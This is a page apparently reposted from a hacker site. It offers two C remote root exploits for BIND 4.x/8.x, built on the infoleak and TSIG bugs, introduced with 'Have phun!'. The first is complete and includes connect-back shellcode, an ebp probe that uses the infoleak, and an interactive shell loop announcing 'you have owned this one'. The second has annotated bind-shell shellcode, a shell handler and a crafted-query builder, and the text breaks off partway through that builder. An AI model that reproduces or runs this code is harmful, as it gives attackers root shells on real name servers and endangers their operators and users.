-----[ www.TheCyberUnderground.com

The BIND 4.x/8.x "Infoleak" and "tsig" bugs.
Below are two working remote root exploits.
Have phun!

Versions affected:     4.8, 4.8.3, 4.9.3, 4.9.4, 4.9.5, 4.9.5-P1, 4.9.6, 4.9.7, 8.1, 
8.1.1, 8.1.2, 8.2, 8.2-P1, 8.2.1, 8.2.2-P1, 8.2.2-P2, 8.2.2-P3, 8.2.2-P4, 8.2.2-P5, 
8.2.2-P6, 8.2.2-P7, possibly earlier versions of BIND 4.9.x and BIND 4.9 

---[ Exploit #1

/*
 * Tamandua Laboratories. - CONFIDENTIAL - *** PROOF OF CONCEPT ***
 * Copyright (C) 2001 Tamandua Laboratories.
 * Powered by Axur Communications Inc. - www.axur.org
 *
 * Author   : Gustavo Scotti   (scotti@axur.org)
 * Co-Author: Thiago Zaninotti 
 *
 *
 * ENGLISH EXPLANATION:
   --------------------
   
   HOW DOES THE TSIG's BUG WORK, AND HOW TO EXPLOIT IT?
   
   The NAI(1)'s discovered TSIG bug is serious, but not that much. To
   exploit it, you'll need lucky (or at least some well known host).

   Actually, you get the stack modified, and all you can overwrite is
   ebp, not the return address. This give us a longer way to get the 
   return address modified. I'll try to exemplify it on pure ASCII graphics:
   
                    | EBP  | RET ADDRESS | FUNCTION PARAMETERS
                    ^
                   ESP
                   
   The named server after finding the TSIG RR, and checking that the key is 
   not valid, by its rfc, it answers the question, but appends a truncated 
   TSIG RR. The vulnerability is: the named calculates the message lenght by
   the fully qualified TSIG record, not by checking the truncated one. 
   
   When named starts to re-construct the answer, it skips the question, and 
   then answers the truncted RR TSIG. The way we did it, we offer named a as 
   much longer as question can be, so when it answers the TSIG, boom, we got
   our ebp modified.
   
   
   EVERYTHING CAN'T BE SO TRIVIAL:
   
   You are right! When the function named as "datagram_read" exits, the ebp
   is then changed, affecting its parent function that calls "__evDrop". 
   evDrop needs a pointer to a structure, so it can process the event ok. 
   When ns_sign overrun the stack, it fills in with "0x0011" (error code to 
   badkey) and "0x0000" (other data len - only used when errorcode = badtime).
   In other words, you cannot fill in the LSB's ebp with arbitrary value. 
   After some while, we found out that:
   
       * To exploit it, you'll need the ebp lsb >= 0x54. That's because of
         ebp, and the internal evDrop local variables and the TSIG answer.
         A distribution should load as much environment variables as to make
         ebp least significant byte greater than 0x54. Slackware almost do 
         that, so it's not vulnerable by default. Redhat showed us that it is
         vulnerable. Other distros should be checked. We have made a probing
         method that would help you port it to your distribution.
         
         
       * Getting your signatures:
       
         1) boot your linux distro straight! - this is very important
         2) get the process PID and then run gdb
         3) type "attach <pid_number>"
         3) (gdb) continue
         4) run the probe mode.
         5) if you get a SIGABORT, then your distribution is not vulnerable.
         6) if you get a SEGV, you have great chances to exploit it :)
         7) issue a "i r ebp" on gdb
            take a look:
            ebp         0xbffff8dc
                                ^^-> this is the least significant byte,
                                     if you don't know him :)
            This value should be greater than 0x54. (in this case, it is
            vulnerable);
            
         8) pass it as a parameter to the exploit, and you'll get there :)
         
            
       * There are differences when the system runs "named" and when a user
         runs it. That's all because environment variables (when you log in, 
         you load up a lot more of it). So you can scan both modes.
         
       * PS: Now of Feb 4th, we have included the infoleak bug to probe for
         ebp values. - no more debug nor operating system probes. 
         
 
 (1) NAI is a registered trademark of Network Associates Inc. and it is copyrighted.


*/

#include <stdlib.h>
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <getopt.h>

typedef	unsigned char        u8;
typedef unsigned short       u16;
typedef unsigned long        u32;

/* SHELLCODE - this is a connect back shellcode */

u8 shellcode[]=
"\x3c\x90\x89\xe6\x83\xc6\x40\xc7\x06\x02\x00\x0b\xac\xc7\x46"
"\x04\x97\xc4\x47\xa0\x31\xc0\x89\x46\x08\x89\x46\x0c\x31\xc0\x89"
"\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"
"\x31\xc0\x83\xc0\x66\x51\x53\x50\xcd\x80\x89\x46\x20\x90\x3c\x90"
"\x8d\x06\x89\x46\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x58\x5b\x59"
"\x43\x43\xff\x76\x20\xcd\x80\x5b\x4f\x74\x32\x8b\x04\x24\x89\x46"
"\x08\x90\xbd\x7f\x00\x00\x01\x89\x6e\x04\xc7\x06\x03\x80\x35\x86"
"\xb8\x04\x00\x00\x00\x8d\x0e\x31\xd2\x83\xc2\x0c\xcd\x80\xc7\x06"
"\x02\x00\x0b\xab\x89\x6e\x04\x90\x31\xff\x47\xeb\x88\x90\x31\xc0"
"\x83\xc0\x3f\x31\xc9\x50\xcd\x80\x58\x41\xcd\x80\xc7\x06\x2f\x62"
"\x69\x6e\xc7\x46\x04\x2f\x73\x68\x00\x89\xf0\x83\xc0\x08\x89\x46"
"\x08\x31\xc0\x89\x46\x0c\xb0\x0b\x8d\x56\x0c\x8d\x4e\x08\x89\xf3"
"\xcd\x80\x31\xc0\x40\xcd\x80";
/* DIVERSE OPERATING SYSTEMS NUMBERS */
struct t_os
   {
   u8	*name;
   u32  ebp;
   u32  desloc;
   };
   
struct t_os OS[]={
   { "Linux Slackware TMDLabs tests - Gustavo", 0xbffff8cc, 2 }
 , { "Linux Redhat 6.1 8.2.2-P5 - Gustavo", 0xbffffc5c, 2 }
 , { NULL, 0 }
};

int verbose=0;

/* DNS STRUCTURE */
struct t_query
{
   u16 		id;
   u8		rd:1,		/* recursion desired */
      		tc:1,		/* truncated message */
                aa:1,		/* authoritative answer */
                opcode:4,	/* message opcode */
                qr:1;		/* response flag */
   u8	        rcode:4,	/* response code */
      		unused:2,
                pr:1,		/* primary server required */
                ra:1;		/* recursion available */
   u16	        qdcount,	/* no of question entries */
      		ancount,	/* no of answers entries */
                nscount,	/* no of authority entries */
                arcount;	/* no of resource entries */
};


/* NETWORKING FUNCTIONS */
u32 
dns2ip( host)
u8 *host;
{
        struct hostent *dns;
        u32	saddr;
        dns = gethostbyname( host);
        if (!dns)
           return 0xffffffff;
        bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
        return ntohl(saddr);
}

int
udp_connect(u32 addr, u16 port)
{
	struct sockaddr_in client;
        int new_fd;

        new_fd = socket( AF_INET, SOCK_DGRAM, 0);
        if (new_fd<0)
           return -1;
        
   	bzero( (char *) &client, sizeof( client));
        client.sin_family = AF_INET;
        client.sin_addr.s_addr = htonl( addr); 
	client.sin_port = htons( port);
        if (connect( new_fd, (struct sockaddr *) &client, sizeof(client))<0)
           return -2; /* cant bind local address */

        return new_fd;
}

u32 retrieve_local_info(int sock)
{
   struct sockaddr_in server;
   int    soclen;
   soclen = sizeof(server);
   if (getsockname(sock, (struct sockaddr *)&server, &soclen)<0)
       {
       printf("*  error in getsockname\n");
       exit(0);
       }
   return htonl(server.sin_addr.s_addr);
}

int 
bind_tcp( u16 *port)
{
   struct sockaddr_in mask_addr;
   int sock, portno=25000; /* base_port */

   sock = socket( AF_INET, SOCK_STREAM, 0);
   if (sock<0)
      return sock;

redo:
   mask_addr.sin_family = AF_INET;
   mask_addr.sin_port = htons( portno);
   mask_addr.sin_addr.s_addr = 0;

   if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)
      {
error:
      portno++;
      if (portno>26000)
         {
         printf("*  no TCP port to bind in.\n");
         exit(0);
         }
      goto redo;
      }
   if (listen( sock, 0)<0)
      goto error;

   printf(".  TCP listen port number %d\n", portno);
   if (port)
      *port = portno;
   return sock;
}


/* DNS functions */

u8 
*encode_name( u8 *data, int *out_size)
{
   int i,n;
   static u8 out[1024];
   u8  *head;
   
   head = out;
   snprintf(out, sizeof(out), "1%s", data);
   *out_size = strlen(out);
   for (n=0,i=1;i<*out_size;i++)
       {
       if (out[i]=='.') 
          {
          *head = n;
          head = &out[i];
          n=0;
          }
       else n++;
       }
   *head=n;
   return out;
}

void fill_domainname(u8 *fill, int size)
{
   u8 c='A';
   while (size)
      {
      int n,i;

      if (size>63) n=62;
         else n=size-1;
         
      *fill++=n; 
      if (c!=0x44)
         memset(fill, c, n);
      else
        for (i=0;i<n;i++) fill[i]=i;
      c++;
      fill+=n;
      size-=(n+1);
      }
}

/* SHELL CODE ASSEMBLY */
u8 *assembly_shellcode( u32 ebp)
{
   static u8 	buff[512];
   u8		*shell;
   u32 		ret_addr, addr, offset, pad_offset;

   addr   = ebp & ~(0xff);
   offset = ebp & 0xff;

   if (offset < 0x54)
      {
      printf("*  this ebp is not vulnerable. sorry!\n");
      exit(0);
      }
   
   
   
   offset = 0x22b - offset;
   
   shell = buff;
   pad_offset = sizeof(shellcode)-1;

   ret_addr = addr - offset - 1;	/* perfect align :) */
   
   memcpy(shell, shellcode, sizeof(shellcode));
   fill_domainname( &buff[pad_offset], (offset-pad_offset));
   /* fill ebp data */
   shell = &buff[offset];
   *shell=16;			shell++;
   *(u32 *)shell = 6; 		shell+=4;	/* evDrop event */ 
   *(u32 *)shell = ret_addr;	shell+=4;	/* return address */
   *(u32 *)shell = ebp; 	shell+=4;	/* ebp info */ 
   *(u32 *)shell = addr;			/* evDrop event pointer */
   offset+=17;
   fill_domainname( &buff[offset], 488-offset);
      
   buff[488]=0;
   return buff;
}



int
assembly_dns_query( u8 *packet, u32 ebp)
{
   struct t_query	*hdr;
   u8			*data, *encoded_shell;
   int 			size;
   
   bzero(packet, sizeof(struct t_query));
   hdr = (struct t_query *)packet;

   hdr->id = getpid();
   hdr->qdcount = 1;
   hdr->opcode  = 0; /* QUERY */
   hdr->arcount = 1; /* yes, we have the TSIG here */

   data = (u8 *)(hdr + 1);
   
   encoded_shell = assembly_shellcode( ebp);
   memcpy(data, encoded_shell, 489);
   data += 489;
   *(u16 *)data = htons(1); 	/* QUERY type */
   data += sizeof(u16);
   *(u16 *)data = htons(1); 	/* QUERY class */
   data += sizeof(u16);
   *data++ = 0; 		/* RR DOMAIN NAME (none) */
   *(u16 *)data = htons(250); 	/* TSIG RR type */
   data += sizeof(u16);
   *(u16 *)data = htons(255); 	/* TSIG RR class = ANY */
   data += sizeof(u16);

   /* switch host to network byte ordering (HEADER ONLY!) */
   hdr->id = htons( hdr->id);
   hdr->qdcount = htons( hdr->qdcount);
   hdr->ancount = htons( hdr->ancount);
   hdr->nscount = htons( hdr->nscount);
   hdr->arcount = htons( hdr->arcount);
   
   return (data - packet);
}

int
assembly_dns_infoleak_query( u8 *packet)
{
   struct t_query	*hdr;
   u8			*data, *encoded_zone;
   int 			size;
   
   bzero(packet, sizeof(struct t_query));
   hdr = (struct t_query *)packet;

   hdr->id = getpid();
   hdr->opcode  = 1; 			/* IQUERY */
   hdr->rd = 1; hdr->ra = 1;
   hdr->ancount = 1;

   data = (u8 *)(hdr + 1);
   fill_domainname( data, 440);
   data[440]=0;
   data+=441;
   
   *(u16 *)data = htons(1); 		/* A type */
   data += sizeof(u16);
   *(u16 *)data = htons(1);		/* CHAOS class */
   data += sizeof(u16);
   *(u32 *)data = htonl(1);		/* TTL */
   data += sizeof(u32);
   *(u16 *)data = htons(255);		/* EVIL SIZE */
   data += sizeof(u32);
   /* switch host to network byte ordering (HEADER ONLY!) */
   hdr->id = htons( hdr->id);
   hdr->qdcount = htons( hdr->qdcount);
   hdr->ancount = htons( hdr->ancount);
   hdr->nscount = htons( hdr->nscount);
   hdr->arcount = htons( hdr->arcount);
   
   return (data - packet);
}

int
assembly_dns_chaos_query( u8 *packet)
{
   struct t_query	*hdr;
   u8			*data, *encoded_zone;
   int 			size;
   
   bzero(packet, sizeof(struct t_query));
   hdr = (struct t_query *)packet;

   hdr->id = getpid();
   hdr->qdcount = 1;
   hdr->opcode  = 0; 			/* QUERY */

   data = (u8 *)(hdr + 1);
   
   encoded_zone = encode_name( "version.bind", &size);
   encoded_zone[size++]=0;
   memcpy(data, encoded_zone, size);
   data += size;
   *(u16 *)data = htons(16); 		/* TXT type */
   data += sizeof(u16);
   *(u16 *)data = htons(3);		/* CHAOS class */
   data += sizeof(u16);

   /* switch host to network byte ordering (HEADER ONLY!) */
   hdr->id = htons( hdr->id);
   hdr->qdcount = htons( hdr->qdcount);
   hdr->ancount = htons( hdr->ancount);
   hdr->nscount = htons( hdr->nscount);
   hdr->arcount = htons( hdr->arcount);
   
   return (data - packet);
}




void
check_data(int fd, u16 local_port, int probe)
{
  u8 		pkt[1024]; 
     		/* no packet can have more than this... */
  
  u32	        ebp;
  u32	        r_addr;
  u16		r_port;
  int		n,i;
  
/*  n = udp_read(fd, &r_addr, &r_port, pkt, sizeof(pkt));   */
  n = read(fd, pkt, sizeof(pkt));  

  if (n<sizeof(struct t_query))
     return;
  else
     {
     struct t_query 	*query;
     u8			*data;
     
     query = (struct t_query *)pkt;
     data  = (u8 *)(query+1);
     if (verbose)
        {
        printf("recebi query de resposta: %d bytes\n", n);

        printf("packet id=%x\n", query->id);
        printf("rd %d, tc %d, aa %d, opcode %d, qr %d\n",
           query->rd, query->tc, query->aa, query->opcode, query->qr);
        printf("rcode %d, pr %d, ra %d\n", 
           query->rcode, query->pr, query->ra);
        printf("counts: qd %d, an %d, ns %d, ar %d\n",
           htons(query->qdcount), htons(query->ancount), htons(query->nscount), 
           htons(query->arcount));
        
        printf("\n**** RECV PACKET DUMP ****\n");
        for (i=0;i<n;i++)
           {
           if (!(i % 16)) printf("\n%04x  ", i);
              printf("%02x ", pkt[i]);
           }
                 
        printf("\n");
        }
     
     if (query->rcode==1 && query->opcode==1 && query->rd && query->qr)
        /* infoleak answer */
        {
        u32  local_addr;
        
        ebp = *(u32 *)&pkt[0x214];
        ebp -= 0x20;
        printf("\bebp is %08x\n", ebp);
        if (probe)
           {
           exit(0);
           }
        printf(".  waiting for connect_back shellcode response...  ");
        local_addr = retrieve_local_info(fd);
        
        *(u32 *)&shellcode[0x62] = htonl(local_addr);
        *(u16 *)&shellcode[0x81] = htons(local_port);
        /* start to dump da packet away */
        n = assembly_dns_query( pkt, ebp);
        write( fd, pkt, n);
        }
        

     if (query->rcode)
        {
        printf("\n*  error on binding receiving the message\n");
        exit(0);
        }

     if (query->ancount) /* we have answer */
        {
        u16  type, class;

        /* skip domainname */
        while (*data)
           data += (1+*data);
        data++;
        type  = ntohs(*(u16 *)data); data += sizeof(u16);
        class = ntohs(*(u16 *)data); data += sizeof(u16);
        if (type==16 && class==3) /* the answer for our bind baby */
        /* skip domainname */
        while (*data)
           data += (1+*data);
        data+=11;
        data[*data+1]=0; data++;
        printf("\b%s\n", data);
        printf(".  probing ebp...  ");
        n = assembly_dns_infoleak_query( pkt);
        write( fd, pkt, n);
        
        }
     }  
}


proxy_loop(int sock)
{
   fd_set fds;
   u8     tmp[256];
   int    tcp, addr_len;
   struct sockaddr_in server;

   addr_len = sizeof(server);
   tcp = accept( sock, (struct sockaddr *)&server, &addr_len);
   printf("\bconnected\n.       ^---> from %s:%d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port));
   close(sock); /* closing incoming socket */
   printf(".  congratulations. you have owned this one.\n");
    
    sprintf(tmp,"uname -a; id\n");
    send(tcp, tmp, strlen(tmp), 0);
    /* basic async mode */
    while (1)
        {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(tcp, &fds);
       
        if (select(tcp+1, &fds, NULL, NULL, NULL)>0)
           {
           if (FD_ISSET(0, &fds))
              {
              int n;
              n = read(0, tmp, 256);
              if (n<0)
                 goto end_conn;
              if (write(tcp, tmp, n)!=n) goto end_conn;
              }
           if (FD_ISSET(tcp, &fds))
              {
              int n;
              n = read(tcp, tmp, 256);
              if (n<0)
                 goto end_conn;

              if (write(0, tmp, n)!=n) goto end_conn;
              }
	   }
	}
end_conn:
    close(tcp);
    printf(".  bye-bye. Stay tuned for more Tamandua Labs codes.\n");  
    exit(0);
}





/* INFO ON MAIN:
   -------------
   
   This exploit will probe for bind's version, and then will try to exploit
   it. Thus, it gets the local address information, to connect back.
   
*/


int main(int argc, char **argv)
{
   u32 			addr;
   int 			dns_fd, local_fd;
   u8			data[1024];
   u16			local_port;

   int			probe=0;

   fd_set           	fd_r;
   struct timeval   	tv;
   char             	try_ch[4]="/-\\|";

   int 			i, n, max_fd;

   printf(".  ISC bind 8.2.2-x remote buffer-overflow for linux x86\n");
   printf(".  (c)2001 Tamandua Laboratories - www.axur.com.br\n");
   printf(".  (c)2001 Gustavo Scotti <scotti@axur.org>\n\n");

   for (;;)
      {
      int	c;
      int	option_index = 0;

      static struct option long_options[] =
         {
		{ "help"     , no_argument       , NULL, 'h' },
		{ "verbose"  , no_argument       , NULL, 'v' },
		{ "probe"    , no_argument       , NULL, 'p' },
		{ 0, 0, 0, 0 }
         };

      c = getopt_long(
		argc, argv,
		"hvp",
		long_options, &option_index);
      if (c == EOF)
         break;
   
      switch (c)
	        {
		case 'h': /* help */
			printf
			(
"   usage: %s [-phv] target\n"
"\n"
"   -h, --help               this message\n"
"   -v, --verbose            verbose\n"
"   -p, --probe              probe only!\n"
"\n", argv[0]
			);
			return 0;
                        break;
                case 'p': probe=1;
                   	  break;
                case 'v': /* verbose */
                        verbose=1;
                        break;
                }
      }
      
   if (optind >= argc)
      {
      printf( "*  no target especified\n");
      return 1;
      }
   
   addr = dns2ip(argv[optind]);
   if (addr==0xffffffff)
      {
      printf("*  could not resolve '%s'\n", argv[optind]);
      exit(0);
      }
   
   local_fd = bind_tcp(&local_port);
   dns_fd = udp_connect( addr, 53); 
   n = assembly_dns_chaos_query( data);
   write( dns_fd, data, n);
   max_fd = 1+(local_fd > dns_fd ? local_fd : dns_fd);
   printf(".  waiting for server response...  ");

   while (1)
      for (n=0;n<20;)
      {
      int i;

      printf("\b%c", try_ch[(n%4)]);
      fflush(stdout);

      FD_ZERO( &fd_r);
      FD_SET( dns_fd, &fd_r);
      FD_SET( local_fd, &fd_r);

      tv.tv_sec  = 0;
      tv.tv_usec = 50000;

      i =select( max_fd, &fd_r, NULL, NULL, &tv);
      if (!i) { n++; continue; }
      if (i>0)
         if (FD_ISSET(dns_fd, &fd_r)) check_data(dns_fd, local_port, probe);
      else
         if (FD_ISSET(local_fd, &fd_r)) proxy_loop(local_fd);
      }
}



/*

----- tmd info tag -----
#  tmdl-003
v  ISC Bind Server 		(8.2.2.x)
w  february, 2nd 2001
a  Gustavo Scotti   		(scotti@axur.org)
i  do not run this behind a masquerade server. the shellcode is a connect 
i  back and it does probe for local address.
*/

---[ Exploit #2

/*
 * This exploit has been fixed and extensive explanation and clarification
 * added.
 * Cleanup done by:
 *     Ian Goldberg     <ian@cypherpunks.ca>
 *     Jonathan Wilkins <jwilkins@bitland.net>
 * NOTE: the default installation of RedHat 6.2 seems to not be affected
 * due to the compiler options.  If BIND is built from source then the
 * bug is able to manifest itself.
 */
/*
 * Original Comment:
 * lame named 8.2.x remote exploit by
 *
 *   Ix		[adresadeforward@yahoo.com] (the master of jmpz),
 *   lucysoft	[lucysoft@hotmail.com] (the master of queries)
 *
 * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
 * linux only shellcode
 * this is only for demo purposes, we are not responsable in any way for what you do with this code.
 *
 * flamez 	- canaris
 * greetz	- blizzard, netman.
 * creditz	- anathema <anathema@hack.co.za> for the original shellcode
 *  		- additional code ripped from statdx exploit by ron1n
 *
 * woo, almost forgot... this exploit is pretty much broken (+4 errors), but we hope you got the idea.
 * if you understand how it works, it won't be too hard to un-broke it
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a):(b))

#define BUFFSIZE 4096

int argevdisp1, argevdisp2;

char shellcode[] =
/* The numbers at the right indicate the number of bytes the call takes
 * and the number of bytes used so far.  This needs to be lower than
 * 62 in order to fit in a single Query Record.  2 are used in total to
 * send the shell code
 */
/* main: */
/* "callz" is more than 127 bytes away, so we jump to an intermediate
   spot first */
"\xeb\x44"                           /* jmp intr                */ // 2 - 2
/* start: */
"\x5e"                               /* popl %esi               */ // 1 - 3

  /* socket() */
"\x29\xc0"                           /* subl %eax, %eax         */ // 2 - 5
"\x89\x46\x10"                       /* movl %eax, 0x10(%esi)   */ // 3 - 8
"\x40"                               /* incl %eax               */ // 1 - 9
"\x89\xc3"                           /* movl %eax, %ebx         */ // 2 - 11
"\x89\x46\x0c"                       /* movl %eax, 0x0c(%esi)   */ // 3 - 14
"\x40"                               /* incl %eax               */ // 1 - 15
"\x89\x46\x08"                       /* movl %eax, 0x08(%esi)   */ // 3 - 18
"\x8d\x4e\x08"                       /* leal 0x08(%esi), %ecx   */ // 3 - 21
"\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 23
"\xcd\x80"                           /* int $0x80               */ // 2 - 25

  /* bind() */
"\x43"                               /* incl %ebx               */ // 1 - 26
"\xc6\x46\x10\x10"                   /* movb $0x10, 0x10(%esi)  */ // 4 - 30
"\x66\x89\x5e\x14"                   /* movw %bx, 0x14(%esi)    */ // 4 - 34
"\x88\x46\x08"                       /* movb %al, 0x08(%esi)    */ // 3 - 37
"\x29\xc0"                           /* subl %eax, %eax         */ // 2 - 39
"\x89\xc2"                           /* movl %eax, %edx         */ // 2 - 41
"\x89\x46\x18"                       /* movl %eax, 0x18(%esi)   */ // 3 - 44
/*
 * the port address in hex (0x9000 = 36864), if this is changed, then a similar
 * change must be made in the connection() call
 * NOTE: you only get to set the high byte
 */
"\xb0\x90"                           /* movb $0x90, %al         */ // 2 - 46
"\x66\x89\x46\x16"                   /* movw %ax, 0x16(%esi)    */ // 4 - 50
"\x8d\x4e\x14"                       /* leal 0x14(%esi), %ecx   */ // 3 - 53
"\x89\x4e\x0c"                       /* movl %ecx, 0x0c(%esi)   */ // 3 - 56
"\x8d\x4e\x08"                       /* leal 0x08(%esi), %ecx   */ // 3 - 59

"\xeb\x02"                           /* jmp cont                */ // 2 - 2
/* intr: */
"\xeb\x43"                           /* jmp callz               */ // 2 - 4

/* cont: */
"\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 6
"\xcd\x80"                           /* int $0x80               */ // 2 - 10

  /* listen() */
"\x89\x5e\x0c"                       /* movl %ebx, 0x0c(%esi)   */ // 3 - 11
"\x43"                               /* incl %ebx               */ // 1 - 12
"\x43"                               /* incl %ebx               */ // 1 - 13
"\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 15
"\xcd\x80"                           /* int $0x80               */ // 2 - 17

  /* accept() */
"\x89\x56\x0c"                       /* movl %edx, 0x0c(%esi)   */ // 3 - 20
"\x89\x56\x10"                       /* movl %edx, 0x10(%esi)   */ // 3 - 23
"\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 25
"\x43"                               /* incl %ebx               */ // 1 - 26
"\xcd\x80"                           /* int $0x80               */ // 1 - 27

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"                           /* xchgb %al, %bl          */ // 2 - 29
"\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 31
"\x29\xc9"                           /* subl %ecx, %ecx         */ // 2 - 33
"\xcd\x80"                           /* int $0x80               */ // 2 - 35
"\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 37
"\x41"                               /* incl %ecx               */ // 1 - 38
"\xcd\x80"                           /* int $0x80               */ // 2 - 40
"\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 42
"\x41"                               /* incl %ecx               */ // 1 - 43
"\xcd\x80"                           /* int $0x80               */ // 2 - 45

  /* execve() */
"\x88\x56\x07"                       /* movb %dl, 0x07(%esi)    */ // 3 - 48
"\x89\x76\x0c"                       /* movl %esi, 0x0c(%esi)   */ // 3 - 51
"\x87\xf3"                           /* xchgl %esi, %ebx        */ // 2 - 53
"\x8d\x4b\x0c"                       /* leal 0x0c(%ebx), %ecx   */ // 3 - 56
"\xb0\x0b"                           /* movb $0x0b, %al         */ // 2 - 58
"\xcd\x80"                           /* int $0x80               */ // 2 - 60

"\x90"

/* callz: */
"\xe8\x72\xff\xff\xff"               /* call start              */ // 5 - 5
"/bin/sh"; /* There's a NUL at the end here */                     // 8 - 13

unsigned long resolve_host(char* host)
{
	long res;
	struct hostent* he;

	if (0 > (res = inet_addr(host)))
	{
		if (!(he = gethostbyname(host)))
			return(0);
		res = *(unsigned long*)he->h_addr;
	}
	return(res);
}

int dumpbuf(char *buff, int len)
{
	char line[17];
	int x;

	/* print out a pretty hex dump */
	for(x=0;x<len;x++){
		if(!(x%16) && x){
			line[16] = 0;
			printf("\t%s\n", line);
		}
		printf("%02X ", (unsigned char)buff[x]);
		if(isprint((unsigned char)buff[x]))
			line[x%16]=buff[x];
		else
			line[x%16]='.';
	}
	printf("\n");
}

void
runshell(int sockd)
{
    char buff[1024];
    int fmax, ret;
    fd_set fds;

    fmax = max(fileno(stdin), sockd) + 1;
    send(sockd, "uname -a; id;\n", 15, 0);

    for(;;)
    {

        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sockd, &fds);

        if(select(fmax, &fds, NULL, NULL, NULL) < 0)
        {
            exit(EXIT_FAILURE);
        }

        if(FD_ISSET(sockd, &fds))
        {
            bzero(buff, sizeof buff);
            if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
            {
                exit(EXIT_FAILURE);
            }
            if(!ret)
            {
                fprintf(stderr, "Connection closed\n");
                exit(EXIT_FAILURE);
            }
            write(fileno(stdout), buff, ret);
        }

        if(FD_ISSET(fileno(stdin), &fds))
        {
            bzero(buff, sizeof buff);
            ret = read(fileno(stdin), buff, sizeof buff);
            if(send(sockd, buff, ret, 0) != ret)
            {
                fprintf(stderr, "Transmission loss\n");
                exit(EXIT_FAILURE);
            }
        }
    }
}


connection(struct sockaddr_in host)
{
	int sockd;

	host.sin_port = htons(36864);

	printf("[*] connecting..\n");
	usleep(2000);

	if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
	{
		exit(EXIT_FAILURE);
	}

	if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
	{
		printf("[*] wait for your shell..\n");
		usleep(500);
	        runshell(sockd);
	}
	else
	{
		printf("[x] error: named not vulnerable or wrong offsets used\n");
	}

	close(sockd);
}




int infoleak_qry(char* buff)
{
        HEADER* hdr;
        int n, k;
        char* ptr;
        int qry_space = 12;
        int dummy_names = 7;
        int evil_size = 0xff;

        memset(buff, 0, BUFFSIZE);
        hdr = (HEADER*)buff;

        hdr->id = htons(0xbeef);
        hdr->opcode  = IQUERY;
        hdr->rd      = 1;
        hdr->ra      = 1;
        hdr->qdcount = htons(0);
        hdr->nscount = htons(0);
        hdr->ancount = htons(1);
        hdr->arcount = htons(0);


	ptr = buff + sizeof(HEADER);
	printf("[d] HEADER is %d long\n", sizeof(HEADER));
	
	n = 62;

	for(k=0; k < dummy_names; k++)
	{
		*ptr++ = n;
		ptr += n;
	}
	ptr += 1;

        PUTSHORT(1/*ns_t_a*/, ptr);              /* type */
        PUTSHORT(T_A, ptr);                      /* class */
        PUTLONG(1, ptr);                		/* ttl */

	PUTSHORT(evil_size, ptr);			/* our *evil* size */
	
	return(ptr - buff + qry_space);
	
}



int evil_query(char* buff, int offset)
{
	int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
	HEADER* hdr;
	char *ptr;
	int k, bufflen;
	u_int n, m;
	u_short s;
	int i;
	int shelloff, shellstarted, shelldone;
	int towrite, ourpack;
	int n_dummy_rrs = 7;

	printf("[d] evil_query(buff, %08x)\n", offset);
	printf("[d] shellcode is %d long\n", sizeof(shellcode));

	shelladdr = offset - 0x200;

        lameaddr  = shelladdr + 0x300;
	
	ourpack = offset - 0x250 + 2;
	towrite = (offset & ~0xff) - ourpack - 6;
	printf("[d] olb = %d\n", (unsigned char) (offset & 0xff));

	rroffsetidx = towrite / 70;
	offset0 = towrite - rroffsetidx * 70;

	if ((offset0 > 52) || (rroffsetidx > 6))
	{
		printf("[x] could not write our data in buffer (offset0=%d, rroffsetidx=%d)\n", offset0, rroffsetidx);
		return(-1);
	}
		
	rrshellidx = 1;
	deplshellcode = 2;
	
	hdr = (HEADER*)buff;
	
	memset(buff, 0, BUFFSIZE);
	
	/* complete the header */
	
	hdr->id = htons(0xdead);
	hdr->opcode  = QUERY;
	hdr->rd      = 1;
	hdr->ra      = 1;
	hdr->qdcount = htons(n_dummy_rrs);
	hdr->ancount = htons(0);
	hdr->arcount = htons(1);
	
	ptr = buff + sizeof(HEADER);
	
	shellstarted = 0;
	shelldone = 0;
	shelloff = 0;
	
	n = 63;
	for (k = 0; k < n_dummy_rrs; k++)
	{
		*ptr++ = (char)n;
		
		for(i = 0; i < n-2; i++)
		{
			if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
			{
				printf("[*] injecting shellcode at %d\n", k);
				shellstarted = 1;
			}
		
			if ((k == rroffsetidx) && (i == offset0))
			{
				*ptr++ = lameaddr & 0x000000ff;
				*ptr++ = (lameaddr & 0x0000ff00) >> 8;
				*ptr++ = (lameaddr & 0x00ff0000) >> 16;
				*ptr++ = (lameaddr & 0xff000000) >> 24;
				*ptr++ = shelladdr & 0x000000ff;
				*ptr++ = (shelladdr & 0x0000ff00) >> 8;
				*ptr++ = (shelladdr & 0x00ff0000) >> 16;
				*ptr++ = (shelladdr & 0xff000000) >> 24;
                                *ptr++ = argevdisp1 & 0x000000ff;
                                *ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
                                *ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
                                *ptr++ = (argevdisp1 & 0xff000000) >> 24;
                                *ptr++ = argevdisp2 & 0x000000ff;
